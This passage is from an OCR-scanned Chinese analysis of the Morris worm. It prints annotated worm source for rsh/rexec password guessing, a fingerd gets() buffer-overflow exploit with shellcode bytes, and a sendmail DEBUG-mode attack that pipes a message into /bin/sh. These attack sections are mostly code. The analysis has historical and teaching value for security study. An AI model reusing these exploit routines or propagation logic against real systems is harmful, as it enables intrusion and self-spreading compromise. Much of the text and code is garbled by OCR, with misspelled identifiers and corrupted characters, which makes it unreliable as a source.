alarm(0);/*Turnofftimeout*/

close(s);

returnconnection!=~1;

)

以上是對(duì)目標(biāo)主機(jī)定位(攻擊)的大致過(guò)程。雖然蠕蟲(chóng)將主機(jī)分為四種類型,但是通常

情況下從系統(tǒng)文件列表中得到的主機(jī)已經(jīng)可以覆蓋整個(gè)局域網(wǎng)絡(luò),因此hl()和ha()并不會(huì)被

經(jīng)常調(diào)用。

6.蠕蟲(chóng)利用的系統(tǒng)漏洞

morris蠕蟲(chóng)主要是對(duì)Berkeley發(fā)布的unix系統(tǒng)進(jìn)行攻擊,在攻擊時(shí)它利用了unix系統(tǒng)

的一些漏洞,下面對(duì)被蠕蟲(chóng)利用的unix系統(tǒng)漏洞進(jìn)行詳細(xì)描述:

6.1Rsh服務(wù)與rexec服務(wù)

rsh和rexec是UNIX系統(tǒng)提供遠(yuǎn)程命令編譯的網(wǎng)絡(luò)服務(wù)。Rexec服務(wù)需要密碼驗(yàn)證,而

rsh服務(wù)則是依靠特權(quán)文件(癡心氏絲如,文件)來(lái)提供服務(wù)的。這兩個(gè)服務(wù)是每個(gè)黑客進(jìn)

行攻擊時(shí)都會(huì)嘗試的,因?yàn)楸镜刂鳈C(jī)在遠(yuǎn)程主機(jī)上可能會(huì)有同樣的帳戶名和密碼(因?yàn)槿藗?/p>

通常會(huì)使用同樣的帳戶和密碼,而不會(huì)去記憶許多不同的帳戶和密碼,尤其是密碼),而且

通常情況下遠(yuǎn)程主機(jī)會(huì)把本機(jī)帳戶保存在rsh服務(wù)的特權(quán)文件中。這個(gè)漏洞并不是一個(gè)系統(tǒng)

BUG,它主要是為了使用戶方便,但是在方便用戶的同時(shí)也給入侵者提供了便利.

首先,蠕蟲(chóng)讀取?小八mr”文件和.,力。加?文件(記錄了那些需要經(jīng)過(guò)密碼身份驗(yàn)證的用戶

名),然后對(duì)這些主機(jī)進(jìn)行攻擊。在攻擊時(shí),蠕蟲(chóng)首先連接遠(yuǎn)程主機(jī)的rexec服務(wù),然后發(fā)

送從.自nM加文件和.劭3心文件得到用戶名并附加上words結(jié)構(gòu)的密碼(猜測(cè)密碼),如果

密碼猜測(cè)成功,則進(jìn)入遠(yuǎn)程主機(jī)。否則,蠕蟲(chóng)用本地帳戶登錄本機(jī)的rexec服務(wù),然后用本

機(jī)去嘗試遠(yuǎn)程主機(jī)的rsh服務(wù),如果在遠(yuǎn)程主機(jī)的加4心熾”,小文件或者.,力。.心文件中的

確存在本機(jī)的帳戶,那么遠(yuǎn)程主機(jī)將允許建立連接,可以進(jìn)入遠(yuǎn)程主機(jī)。

fork」sh()函數(shù)實(shí)現(xiàn)了這部分的攻擊,其具體實(shí)現(xiàn)如下:

staticfork_rsh(char*host,int*fdpl,int*fdp2,char*str)

/*通過(guò)rexec服務(wù)和rsc服務(wù)對(duì)遠(yuǎn)程主機(jī)進(jìn)行攻擊,首先建立兩個(gè)管道*/

intchild;/*子進(jìn)程*/

intfildes⑵;/*管道1*/

intfiIdesl[2];/*管道2*/

intfd;

/*用pipe。建立兩個(gè)管道,pipe。會(huì)建立管道,并將文件描述詞由參數(shù)Modes數(shù)組返回。

filedes[O]為管道里的讀取端,filedes⑴則為管道的寫(xiě)入端。*/

if(pipe(fildes)<0)

return0;//管道1建立失敗

if(pipe(fiIdesl)<0)

(〃管道2建立失敗,關(guān)閉管道1并返回0

close(fildGs[0]);

close(fildes[l]);

return0;

)

child=fork();〃創(chuàng)建子進(jìn)程,子進(jìn)程將嘗試逃過(guò)rexec服務(wù)攻擊遠(yuǎn)程主機(jī)

if(child<0)

{/*子進(jìn)程創(chuàng)建失敗*/

close(fildes[Oj);

close(fildcs[ll);

close(fildesl[0]);

closc(fildcsl[l]);

return0;

)

if(child==0)

{/*子進(jìn)程創(chuàng)建成功,且現(xiàn)在運(yùn)行的是子進(jìn)程*/

for(fd=C;fd<32;fd++)

if(fd!=fildestOj&&fd!=fildesltl]&&fd!=2)

closc(fd);〃關(guān)閉非管道1的文件描述符

dup2(fildeS[0].0);/*dup2()用來(lái)復(fù)制參數(shù)oldfd所指的文件描述詞,并將它拷貝

至參數(shù)newfd后一塊返回。*/

dup2(fildes[l],1);

if(fildestO]>2)

close(fildes[0]);

if(fildesltl]>2)

close(fildcsl[1]);

/*'execl()'doesnotreturnifitsuceeds.execl()用來(lái)執(zhí)行參數(shù)path字符

串所代表的文件路徑下的文件,以/usr/ucb/rsh,/usr/bin/rsh,and/bin/rsh.的順序通過(guò)rsh服

務(wù)對(duì)遠(yuǎn)程主機(jī)嘗試進(jìn)行攻擊*/

execl(XS("/usr/ucb/rsh"),XS("rsh"),host,str,0);

execl(XS(^/usr/bin/rsh^),XS(*rsh/,),host,str,0);

execl(XS("/bin/rsh"),XS("rsh"),host,str,0);

exit(1);

)

close(fildes[0]);

close(fildesl[1]);

*fdpl=fildesl[0];

*fdp2=fildes[l];

if(testconnection(*fdpl,*fdp2,30))

return1;/*蠕蟲(chóng)攻擊成功,建立了兩個(gè)管道*/

close(*fdpl);

close(*fdp2);

kilKchild,9);〃結(jié)束子進(jìn)程,攻擊失敗

/*Givethechildachancetodiefromthesignal.*/

sleep(l);

wait3(0,WNOIbXNG,0);//作用不明

return0;

}

6.2finger(緩沖區(qū)溢出漏洞)

Finger是一個(gè)daemon程序,根據(jù)finger協(xié)議為遠(yuǎn)程請(qǐng)求服務(wù)。它是用來(lái)得到系統(tǒng)上用

戶詳細(xì)信息的程序,它通過(guò)讀取源主機(jī)的請(qǐng)求作為參數(shù),經(jīng)過(guò)運(yùn)算返回用戶的全名、他們的

辦公室的地址、電話號(hào)碼以及是否在線等信息、。但是在Finger程序中使用了c的gels()函數(shù),

而gets。函數(shù)沒(méi)有檢查輸入的邊界,如果輸入超過(guò)了512byte的話則會(huì)產(chǎn)生緩沖區(qū)溢出。

Morris蠕蟲(chóng)正是利用了這一漏洞,它提供給Finger一個(gè)536byte的請(qǐng)求,溢出的24byte用來(lái)

執(zhí)行蠕蟲(chóng)的引導(dǎo)程序。

try_finger()函數(shù)實(shí)現(xiàn)了對(duì)該漏洞的攻擊,其具體代碼以及注釋如下:

statictry_finger(structhst*host,int*fdl,int*fd2)

/*嘗試與遠(yuǎn)程主機(jī)的finger守護(hù)進(jìn)程(79號(hào)端口)建立連接,如果成功那么則建立??個(gè)s*/

(

inti,j,112,116,s;

structsockaddr_insin:/*internet地址*/

charunused[492];

int1552,1556,1560,1564,1568;〃溢出處理用

charbuf[536];/*溢出字符串*/

int(*save_sighand)();/*定義一個(gè)函數(shù)指針,記錄signal函數(shù)*/

save_sighand=signal(STG/\LRM,justreturn);//justreturn定義于hs.c中

for(i=0;i<6;i++)

{/**/

if(host->c48[i]==0)

continue;/*沒(méi)有網(wǎng)絡(luò)地址*/

s=socket(AF_INET,SOCK_STREAM,0);

if(s<0)

continue;

bzero(&sin,sizeof(sin));

sin.sin_fair.ily=AF_INET;

sin.sinaddr.saddr=host->o48[i];

sin.sin_port=IPPORT_FINGER;

alarm(lO);/*alarm。用來(lái)設(shè)置信號(hào)SIGALRM在經(jīng)過(guò)參數(shù)seconds指定的秒數(shù)后傳

送給目前的進(jìn)程。*/

if(connect(s,&sin,sizeof(sin))<0)

(

alarm(0);

close(s);

continue;

)

alarm(0);

break;〃連接成功,跳出循環(huán),i<6

)

if(i>=6)

return0;/*沒(méi)有成功建立連接*/

for(i=0;i<536;i++)/*清。溢廿數(shù)據(jù)*/

buf[i]='\0';

for(i=0;i<400;i++)

buf[i]=1;

for(j=0;j<28;j++)

buf[i+j]="\335\217/sh\0\335\217/bin\320cz\335\0\335\0\335Z\335\003\320

*\\\274;\344\371\344\342\241\256\343\350\357\256\362\35r[j];

/*設(shè)置溢出數(shù)據(jù)*/

//這里也許是蠕蟲(chóng)體現(xiàn)出來(lái)的TCP掃描特征,但具體package特征還無(wú)法統(tǒng)計(jì)

1556=0x7fffe9fc;/*Rewritepartofthestackframe*/

1560=0x7fffe8a8;

1564=0x7fffe8bc;

1568=0x28000000;

1552=OxOOOlc020;

fdefsun

1556=byte_swap(1556);/*Reverseth?wordorderforthe*/

1560=byteswap(1560);/*VAX(onlySunshavetodothis)*/

1564=byte_swap(1564);

1568=byte_swap(1568);

1552=byte_swap(1552);

ttendifsun

write(s,buf,sizeof(buf));/*利用gets。漏洞,sizeof=536*/

writc(s,XS("\n"),1);

sleep(5);

if(test_connection(s,s,10))

{//lesjcornection函數(shù)測(cè)試蠕蟲(chóng)是否連接成功

*fdl=s;

*fd2-s;

return1;

)

close(s);

return0;〃連接失敗

}

這個(gè)漏洞實(shí)際上是由ge【s()函數(shù)引起的,而c中除了gets。以外還有一些其他的庫(kù)函數(shù)也

存在問(wèn)題,因此在編寫(xiě)程序時(shí)要注意這些函數(shù)的使用,以免為入侵者提供機(jī)會(huì)。

6.3sendmail

在morris蠕蟲(chóng)中,sendmail攻擊是最不經(jīng)常使用(因?yàn)榭偸亲詈笫褂么朔绞?的攻擊方

式,但是這個(gè)攻擊方式常??梢猿晒Φ倪M(jìn)行攻擊。

sendmail是系統(tǒng)的一個(gè)daemon程序,它監(jiān)聽(tīng)25號(hào)端口,通過(guò)SMTP協(xié)議為用戶提供

TCP連接的電子郵件服務(wù)。它有?個(gè)特點(diǎn)就是可以直接將郵件發(fā)送給系統(tǒng)進(jìn)程(不保存在

文件中),這個(gè)特點(diǎn)可以被蠕蟲(chóng)利用。如果sendmail程序是在DEBUG條件下編譯的,那么

郵件發(fā)送方可以通過(guò)發(fā)送DEBUG命令使得sendmail程序進(jìn)入DEBUG模式,而在DEBUG

模式下程序允許發(fā)送方運(yùn)行一系列的命令。蠕蟲(chóng)模仿一個(gè)遠(yuǎn)程SMTP連接,并插入〃0力?〃〃

作為發(fā)送者的名字,而且精心設(shè)計(jì)一串字符作為接受者。當(dāng)收到郵件后,接收者自動(dòng)啟動(dòng)一

個(gè)命令將郵件信息的開(kāi)頭刪除并將余卜的部分(包括了蠕蟲(chóng)的引導(dǎo)程序)發(fā)送至編譯器,編

譯并運(yùn)行。蠕蟲(chóng)的引導(dǎo)程序完成蠕蟲(chóng)攻擊。

try_mail()實(shí)現(xiàn)了這部分的攻擊其具體實(shí)現(xiàn)與注釋如下:

statictry_mail(structhst*host)/*x4d3c<permute+162>*/

inti,18,112,116,s;

structsockaddrinsin;/*internet地址*/

char1548[512];

int(*old_handler)():

structsockaddrsaddr;/*Notright*/

intfd_tmp;/*???partofsaddr*/

if(makemagic(host,&saddr)==0)

return0;/*makemagic()函數(shù)的描述見(jiàn)后面,其中有目標(biāo)主機(jī)的大量的掃描*/

old_handler=signal(SIGALRM,justreturn);

for(i=0;i<6;i++)

{/*檢杳是否已經(jīng)存在連接*/

if(host->c48[i]==NULL)

continue;

s=socket(AF.INET,SOCK_STREAM,0);

if(s<0)

continue;

bzero(&sin,sizeof(sin));/**/

sin.sin_fajriily=AF_INET;

sin.sinaddr.saddr=host->o48[i];

sin.sin_port=IPPORT_SMTP;

alarm(lO);

if(connect(s,&sin,sizcof(sin))<0)

(

alarm(0);

close(s);

continue;

)

alarm(0);

break;

)

if(i<6)

return0;/*如果已經(jīng)存在連接那么就沒(méi)有必要進(jìn)行sendmail攻擊了*/

if(x50bc(s,1548)!=0||1548[0]!='2')

gotobad;//x50bc函數(shù)沒(méi)有實(shí)現(xiàn),可以推測(cè)其大概功能是將一段數(shù)據(jù)寫(xiě)入內(nèi)存

send_text(s,XS("debug"));/*設(shè)置成"debug”模式*/

if(x50bc(s,1548)!=0||1548[0]!='2')

gotobad;

★defineMAILFROM"mailfrom:</dev/null>\n,z

#defineMAIL_RCPT*rcptto:<\*|sed\'l,/$/d\'|/bin/sh;exit0\">\n"

send_text(s,XS(MAIL_FROM));〃發(fā)送設(shè)計(jì)好的字符串

if(x50bc(s,1548)!=0||1548[0]!=’2')

gotobad;

i=(random()&OxOOFFFFFF);

sprintf(1548,XS(MAIL_RCPT),i,i);

sendtext(s,1548);

if(x50bc(s,1548)!=0||1548[0]!='2')

gotobad;

send_text(s,XS("data'n"));

if(x50bc(s,1548)==0||1548[0]!='3')

gotobad;

send_text(s,XS("data'n"));

compile_slave(host,s,saddr);

sendtext(s,XS("\n.\n"));

if(x50bc(s,1548)==0||1548[0]!='2')

(

close(fdtn.p);/*Thisisn'tsetyet!!!*/

gotobad;

)

send_text(s,XS("quit'n")):

if(x50bc(s,1548)==0||1548[0]!='2')

{

close(fdtn.p):/*Thisisn'tsetyet!!!*/

gotobad;

)

close(s);

returnwaithit(host,saddr);〃waiihit函數(shù)用來(lái)檢查攻擊是否成功,分析見(jiàn)下文

bad:〃攻擊失敗的一些處理:關(guān)閉s,退出遠(yuǎn)程主機(jī)程序等

sendtext(s,XS("quit'n"));

x50bc(s,1548);

closo(s);

return0;

)

/*Usedonlyintrymai10above.Thisfillsbufferwithalineoftheresponse,x50bc

函數(shù)的具體代碼沒(méi)有實(shí)現(xiàn),但可以推測(cè)這個(gè)函數(shù)是用來(lái)判斷攻擊效果的*/

staticx50bc(ints,char*buffer)

(

/*Fillinexactcodelater.It'sprettyboring.*/

}

makemagic(structhst*arg8,int*argl2,int*argl6,int*arg20,int*arg24)

/*牛.成challengenumber:就是與遠(yuǎn)程主機(jī)建立一個(gè)隨機(jī)端口socket連接,使得蠕蟲(chóng)不易被發(fā)

現(xiàn),這個(gè)函數(shù)中體現(xiàn)出了一些掃描特征*/

(

ints,i,namelen;

structsockaddrinsinO,sinl;

*arg20=random()&OxOOffffff;〃生成一個(gè)隨機(jī)數(shù)

bzero(&sinl,sizeof(sinl));

sinl.sinaddr.saddr=me>112;

溫馨提示

  • 1. 本站所有資源如無(wú)特殊說(shuō)明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請(qǐng)下載最新的WinRAR軟件解壓。
  • 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請(qǐng)聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
  • 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁(yè)內(nèi)容里面會(huì)有圖紙預(yù)覽,若沒(méi)有圖紙預(yù)覽就沒(méi)有圖紙。
  • 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
  • 5. 人人文庫(kù)網(wǎng)僅提供信息存儲(chǔ)空間,僅對(duì)用戶上傳內(nèi)容的表現(xiàn)方式做保護(hù)處理,對(duì)用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對(duì)任何下載內(nèi)容負(fù)責(zé)。
  • 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請(qǐng)與我們聯(lián)系,我們立即糾正。
  • 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時(shí)也不承擔(dān)用戶因使用這些下載資源對(duì)自己和他人造成任何形式的傷害或損失。

評(píng)論

0/150

提交評(píng)論